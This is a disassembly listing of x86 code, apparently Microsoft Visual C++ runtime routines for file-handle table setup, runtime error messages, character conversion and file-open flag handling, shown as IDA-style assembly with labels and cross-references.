jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 25C0D9Dh mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 25C0B2Bh mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 25C0DF9h mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_48B340, esi mov dword_48B440, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_48B340 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax nop call near ptr 2810000h cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_48B440, esi jge short loc_41F6A3 mov edi, offset dword_48B344 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_48B440, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_48B440, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_48B440 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 25C0000h test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_48B340 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax call near ptr 25C0848h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi nop call near ptr 25C0000h test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_48B440 nop call near ptr 25C0A80h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_48A068 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_439594, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_48A1D4 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43BC28 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_43BCB8 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43BC28[esi] jnz loc_41F9D5 mov eax, dword_48A068 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_439594, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2640000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_43BC2C[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_43BC2C[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 25C0848h push eax nop call near ptr 2620000h loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_48A1D8 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_48B320 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_48B320, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_48B320, esi call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_43BCB8 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_48A310 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43BF38 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_43BCC8 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_48B340[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_43BD28 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_48A054, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_48A0A8, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4397AC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_48A0B8 call near ptr 2790000h nop test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A1DC xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 25B0000h nop test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push ebx nop call near ptr 25B07F7h test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_48A1DC, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_48A0A8 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 25B07F7h jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2600000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2600000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 25B0000h nop jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_48B340 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_48B440 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_48B440, 20h lea ecx, ds:48B340h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_439594, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj call near ptr 25A09DCh nop loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_48B440 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:48B340h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_439594, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej nop call near ptr 25A09DCh loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 25A056Ch test eax, eax jnz short loc_41FEAD nop call near ptr 2630B7Ah jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_48A018, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_48A014, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_48A2E8, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_48A014, 16h mov dword_48A018, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 